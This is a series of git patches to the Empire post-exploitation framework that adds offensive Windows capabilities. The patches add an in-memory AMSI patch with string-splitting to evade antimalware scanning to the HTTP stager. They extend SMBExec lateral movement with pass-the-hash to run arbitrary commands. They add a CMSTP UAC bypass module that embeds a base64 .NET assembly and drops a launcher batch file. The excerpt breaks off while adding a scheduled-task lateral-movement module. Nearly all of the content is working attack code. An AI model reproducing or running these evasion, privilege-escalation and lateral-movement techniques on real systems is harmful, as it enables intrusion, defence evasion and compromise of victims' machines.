From d60264400646f9bcb8267a5f2332b768a48029eb Mon Sep 17 00:00:00 2001 From: johan-lindahl Date: Sun, 10 Mar 2019 15:20:16 +0100 Subject: [PATCH 1/8] Fixed so the agent should work on Windows 10 Pro Build 17134 --- data/agent/agent.ps1 | 6 +++++- data/agent/stagers/http.ps1 | 2 +- lib/listeners/http.py | 41 ++++++++++++++++++++++++++++++++++--- 3 files changed, 44 insertions(+), 5 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 35cfe5a61..91b952926 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -1,5 +1,5 @@ -function Invoke-Empire { +function Invoke-Agent { <# .SYNOPSIS The main functionality of the Empire agent. @@ -441,6 +441,8 @@ function Invoke-Empire { param($JobName) if($Script:Jobs.ContainsKey($JobName)) { $Script:Jobs[$JobName]['Buffer'].ReadAll() + $Script:Jobs[$JobName]['PSHost'].Streams.Error + $Script:Jobs[$JobName]['PSHost'].Streams.Error.Clear() } } @@ -453,6 +455,8 @@ function Invoke-Empire { $Null = $Script:Jobs[$JobName]['PSHost'].Stop() # get results $Script:Jobs[$JobName]['Buffer'].ReadAll() + $Script:Jobs[$JobName]['PSHost'].Streams.Error + $Script:Jobs[$JobName]['PSHost'].Streams.Error.Clear() # unload the app domain runner $Null = [AppDomain]::Unload($Script:Jobs[$JobName]['AppDomain']) $Script:Jobs.Remove($JobName) diff --git a/data/agent/stagers/http.ps1 b/data/agent/stagers/http.ps1 index 492ec9ad5..94bce965e 100644 --- a/data/agent/stagers/http.ps1 +++ b/data/agent/stagers/http.ps1 @@ -236,7 +236,7 @@ function Start-Negotiate { [GC]::Collect(); # TODO: remove this shitty $server logic - Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "WORKING_HOURS_REPLACE" -KillDate "REPLACE_KILLDATE" -ProxySettings $Script:Proxy; + Invoke-Agent -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "WORKING_HOURS_REPLACE" -KillDate "REPLACE_KILLDATE" -ProxySettings $Script:Proxy; } # $ser is the server populated from the launcher code, needed here in order to facilitate hop listeners Start-Negotiate -s "$ser" -SK 'REPLACE_STAGING_KEY' -UA $u; diff --git a/lib/listeners/http.py b/lib/listeners/http.py index e670e81e3..c6597ada5 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -275,7 +275,39 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': - stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") + + # + # Disable Antimalware Scan Interface + # + stager = '$Win32 = @"\n' + stager += 'using System;\n' + stager += 'using System.Runtime.InteropServices;\n' + + stager += 'public class Win32 {\n' + + stager += ' [DllImport("kernel32")]\n' + stager += ' public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);\n' + + stager += ' [DllImport("kernel32")]\n' + stager += ' public static extern IntPtr LoadLibrary(string name);\n' + + stager += ' [DllImport("kernel32")]\n' + stager += ' public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);\n' + + stager += '}\n' + stager += '"@\n' + + stager += 'Add-Type $Win32;\n' + + stager += '$LoadLibrary = [Win32]::LoadLibrary("amsi.dll");\n' + stager += '$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer");\n' + stager += '$p = 0;\n' + stager += '[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p);\n' + stager += '$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3);\n' + stager += '[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6);\n' + + + stager += helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(") @@ -301,9 +333,9 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(") - stager += "'System.Management.Automation.AmsiUtils'" + stager += "'System.Management.Automation.Am' + 'siUtils'" stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') - stager += "'amsiInitFailed','NonPublic,Static'" + stager += "'am'+'siInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,$true)};") stager += "};" stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") @@ -317,6 +349,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", if 'https' in host: # allow for self-signed certificates for https connections + stager += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;" stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != 'none': @@ -401,6 +434,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") + print "*** Obfuscate : " + str(obfuscate) if obfuscate: stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it @@ -718,6 +752,7 @@ def generate_comms(self, listenerOptions, language=None): if listenerOptions['Host']['Value'].startswith('https'): updateServers += "\n[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + updateServers += "\n[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;" getTask = """ $script:GetTask = { From 64af313ed25c4cfbc37b63bca59120d148df0c7a Mon Sep 17 00:00:00 2001 From: johan-lindahl Date: Sun, 10 Mar 2019 15:51:06 +0100 Subject: [PATCH 2/8] Added support to run arbitrary command with invoke_smbexec --- .../powershell/lateral_movement/invoke_smbexec.py | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/lib/modules/powershell/lateral_movement/invoke_smbexec.py b/lib/modules/powershell/lateral_movement/invoke_smbexec.py index 2e4a0dd34..78fa1beb1 100644 --- a/lib/modules/powershell/lateral_movement/invoke_smbexec.py +++ b/lib/modules/powershell/lateral_movement/invoke_smbexec.py @@ -84,7 +84,13 @@ def __init__(self, mainMenu, params=[]): 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', 'Required' : False, 'Value' : 'default' + }, + 'Command' : { + 'Description' : 'Optional command instead of launcher.', + 'Required' : False, + 'Value' : 'default' } + } # save off a copy of the mainMenu object to access external functionality @@ -109,6 +115,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] + command = self.options['Command']['Value'] + moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-SMBExec.ps1" if obfuscate: @@ -141,10 +149,11 @@ def generate(self, obfuscate=False, obfuscationCommand=""): if launcher == "": print helpers.color("[!] Error in launcher generation.") return "" - else: - + elif command == "": stagerCmd = '%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher scriptEnd = "Invoke-SMBExec -Target %s -Username %s -Domain %s -Hash %s -Command '%s'" % (computerName, userName, domain, NTLMhash, stagerCmd) + else: + scriptEnd = "Invoke-SMBExec -Target %s -Username %s -Domain %s -Hash %s -Command '%s'" % (computerName, userName, domain, NTLMhash, command) scriptEnd += "| Out-String | %{$_ + \"`n\"};" From 778bd4f242cf04860a50290ff97da78ea897e8ae Mon Sep 17 00:00:00 2001 From: johan-lindahl Date: Tue, 12 Mar 2019 12:39:10 +0100 Subject: [PATCH 3/8] Created module for UAC bypass working on Windows 10 Pro Build 17134 --- .../privesc/CMSTP-UAC-Bypass.ps1 | 13 ++ .../powershell/privesc/bypassuac_cmstp.py | 118 ++++++++++++++++++ 2 files changed, 131 insertions(+) create mode 100644 data/module_source/privesc/CMSTP-UAC-Bypass.ps1 create mode 100644 lib/modules/powershell/privesc/bypassuac_cmstp.py diff --git a/data/module_source/privesc/CMSTP-UAC-Bypass.ps1 b/data/module_source/privesc/CMSTP-UAC-Bypass.ps1 new file mode 100644 index 000000000..978ffe5be --- /dev/null +++ b/data/module_source/privesc/CMSTP-UAC-Bypass.ps1 @@ -0,0 +1,13 @@ +function Bypass-UAC +{ + Param( + [Parameter(Mandatory = $true, Position = 0)] + [string]$Command + ) + if(-not ([System.Management.Automation.PSTypeName]'CMSTPBypass').Type) + { + [Reflection.Assembly]::Load([Convert]::FromBase64String("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QnlwYXNzLmRsbABDTVNUUEJ5cGFzcwBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AEluZkRhdGEAU2hvd1dpbmRvdwBTZXRGb3JlZ3JvdW5kV2luZG93AEJpbmFyeVBhdGgAU2V0SW5mRmlsZQBFeGVjdXRlAFNldFdpbmRvd0FjdGl2ZQAuY3RvcgBoV25kAG5DbWRTaG93AENvbW1hbmRUb0V4ZWN1dGUAUHJvY2Vzc05hbWUAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAENNU1RQLVVBQy1CeXBhc3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAERsbEltcG9ydEF0dHJpYnV0ZQB1c2VyMzIuZGxsAFN5c3RlbS5JTwBQYXRoAEdldFJhbmRvbUZpbGVOYW1lAENoYXIAQ29udmVydABUb0NoYXIAU3RyaW5nAFNwbGl0AFN5c3RlbS5UZXh0AFN0cmluZ0J1aWxkZXIAQXBwZW5kAFJlcGxhY2UAVG9TdHJpbmcARmlsZQBXcml0ZUFsbFRleHQARXhpc3RzAENvbnNvbGUAV3JpdGVMaW5lAENvbmNhdABTeXN0ZW0uRGlhZ25vc3RpY3MAUHJvY2Vzc1N0YXJ0SW5mbwBzZXRfQXJndW1lbnRzAHNldF9Vc2VTaGVsbEV4ZWN1dGUAUHJvY2VzcwBTdGFydABJbnRQdHIAWmVybwBvcF9FcXVhbGl0eQBTeXN0ZW0uV2luZG93cy5Gb3JtcwBTZW5kS2V5cwBTZW5kV2FpdABHZXRQcm9jZXNzZXNCeU5hbWUAUmVmcmVzaABnZXRfTWFpbldpbmRvd0hhbmRsZQAuY2N0b3IAAAMuAAAfQwA6AFwAdwBpAG4AZABvAHcAcwBcAHQAZQBtAHAAAANcAAAJLgBpAG4AZgAAKVIARQBQAEwAQQBDAEUAXwBDAE8ATQBNAEEATgBEAF8ATABJAE4ARQAAQUMAbwB1AGwAZAAgAG4AbwB0ACAAZgBpAG4AZAAgAGMAbQBzAHQAcAAuAGUAeABlACAAYgBpAG4AYQByAHkAIQAAMVAAYQB5AGwAbwBhAGQAIABmAGkAbABlACAAdwByAGkAdAB0AGUAbgAgAHQAbwAgAAAJLwBhAHUAIAAAC2MAbQBzAHQAcAAAD3sARQBOAFQARQBSAH0AAISPWwB2AGUAcgBzAGkAbwBuAF0ADQAKAFMAaQBnAG4AYQB0AHUAcgBlAD0AJABjAGgAaQBjAGEAZwBvACQADQAKAEEAZAB2AGEAbgBjAGUAZABJAE4ARgA9ADIALgA1AA0ACgANAAoAWwBEAGUAZgBhAHUAbAB0AEkAbgBzAHQAYQBsAGwAXQANAAoAQwB1AHMAdABvAG0ARABlAHMAdABpAG4AYQB0AGkAbwBuAD0AQwB1AHMAdABJAG4AcwB0AEQAZQBzAHQAUwBlAGMAdABpAG8AbgBBAGwAbABVAHMAZQByAHMADQAKAFIAdQBuAFAAcgBlAFMAZQB0AHUAcABDAG8AbQBtAGEAbgBkAHMAPQBSAHUAbgBQAHIAZQBTAGUAdAB1AHAAQwBvAG0AbQBhAG4AZABzAFMAZQBjAHQAaQBvAG4ADQAKAA0ACgBbAFIAdQBuAFAAcgBlAFMAZQB0AHUAcABDAG8AbQBtAGEAbgBkAHMAUwBlAGMAdABpAG8AbgBdAA0ACgA7ACAAQwBvAG0AbQBhAG4AZABzACAASABlAHIAZQAgAHcAaQBsAGwAIABiAGUAIAByAHUAbgAgAEIAZQBmAG8AcgBlACAAUwBlAHQAdQBwACAAQgBlAGcAaQBuAHMAIAB0AG8AIABpAG4AcwB0AGEAbABsAA0ACgBSAEUAUABMAEEAQwBFAF8AQwBPAE0ATQBBAE4ARABfAEwASQBOAEUADQAKAHQAYQBzAGsAawBpAGwAbAAgAC8ASQBNACAAYwBtAHMAdABwAC4AZQB4AGUAIAAvAEYADQAKAA0ACgBbAEMAdQBzAHQASQBuAHMAdABEAGUAcwB0AFMAZQBjAHQAaQBvAG4AQQBsAGwAVQBzAGUAcgBzAF0ADQAKADQAOQAwADAAMAAsADQAOQAwADAAMQA9AEEAbABsAFUAUwBlAHIAXwBMAEQASQBEAFMAZQBjAHQAaQBvAG4ALAAgADcADQAKAA0ACgBbAEEAbABsAFUAUwBlAHIAXwBMAEQASQBEAFMAZQBjAHQAaQBvAG4AXQANAAoAIgBIAEsATABNACIALAAgACIAUwBPAEYAVABXAEEAUgBF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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAMAAAA0D4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")) | Out-Null + } + [CMSTPBypass]::Execute($Command) +} + diff --git a/lib/modules/powershell/privesc/bypassuac_cmstp.py b/lib/modules/powershell/privesc/bypassuac_cmstp.py new file mode 100644 index 000000000..4abc59441 --- /dev/null +++ b/lib/modules/powershell/privesc/bypassuac_cmstp.py @@ -0,0 +1,118 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-BypassUAC', + + 'Author': ['zc00l', 'Oddvar Moe', 'Kali2020'], + + 'Description': ('Bypass UAC on Windows 10.'), + + 'Background' : False, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : False, + + 'Language' : 'powershell', + + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : True, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self, obfuscate=False, obfuscationCommand=""): + + # read in the common powerup.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/CMSTP-UAC-Bypass.ps1" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + script = f.read() + f.close() + + # extract all of our options + #listenerName = self.options['Listener']['Value'] + #userAgent = self.options['UserAgent']['Value'] + #proxy = self.options['Proxy']['Value'] + #proxyCreds = self.options['ProxyCreds']['Value'] + + # generate the .bat launcher code to write out to the specified location + # this is because the System.Diagnostics.ProcessStartInfo method appears + # to have a length limit on the arguments passed :( + + l = self.mainMenu.stagers.stagers['windows/launcher_bat'] + l.options['Listener']['Value'] = self.options['Listener']['Value'] + l.options['UserAgent']['Value'] = self.options['UserAgent']['Value'] + l.options['Proxy']['Value'] = self.options['Proxy']['Value'] + l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value'] + l.options['Delete']['Value'] = "True" + launcherCode = l.generate() + + # PowerShell code to write the launcher.bat out + scriptEnd = "$tempLoc = \"$env:public\debug.bat\"" + scriptEnd += "\n$batCode = @\"\n" + launcherCode + "\"@\n" + scriptEnd += "$batCode | Out-File -Encoding ASCII $tempLoc ;\n" + scriptEnd += "\"Launcher bat written to $tempLoc `n\";\n" + + scriptEnd += "\nBypass-UAC " + scriptEnd += "-Command \"$env:public\debug.bat\"" + if obfuscate: + scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd + return script From 221044ef42e1fbdd3035a8eac54fb5bbd7ca06a6 Mon Sep 17 00:00:00 2001 From: johan-lindahl Date: Fri, 15 Mar 2019 22:29:52 +0100 Subject: [PATCH 4/8] Module for lateral movement or to execute command via the task scheduler --- .../lateral_movement/invoke_schtask.py | 174 ++++++++++++++++++ 1 file changed, 174 insertions(+) create mode 100644 lib/modules/powershell/lateral_movement/invoke_schtask.py diff --git a/lib/modules/powershell/lateral_movement/invoke_schtask.py b/lib/modules/powershell/lateral_movement/invoke_schtask.py new file mode 100644 index 000000000..51228132b --- /dev/null +++ b/lib/modules/powershell/lateral_movement/invoke_schtask.py @@ -0,0 +1,174 @@ +import os +import datetime + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-LateralMoveSchtasks', + + 'Author': ['@mattifestation', '@harmj0y', '@kali2020'], + + 'Description': ('Lateral movement using schtasks. This has a moderate detection/removal rating.'), + + 'Background' : False, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : False, + + 'Language' : 'powershell', + + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : False, + 'Value' : '' + }, + 'TaskName' : { + 'Description' : 'Name to use for the schtask.', + 'Required' : True, + 'Value' : 'Updater' + }, + 'RegPath' : { + 'Description' : 'Registry location to store the script code. Last element is the key name.', + 'Required' : False, + 'Value' : 'HKCU:\Software\Microsoft\Windows\CurrentVersion\debug' + }, + 'ComputerName' : { + 'Description' : 'Computer name (if not supplied, localhost will be used)', + 'Required' : False, + 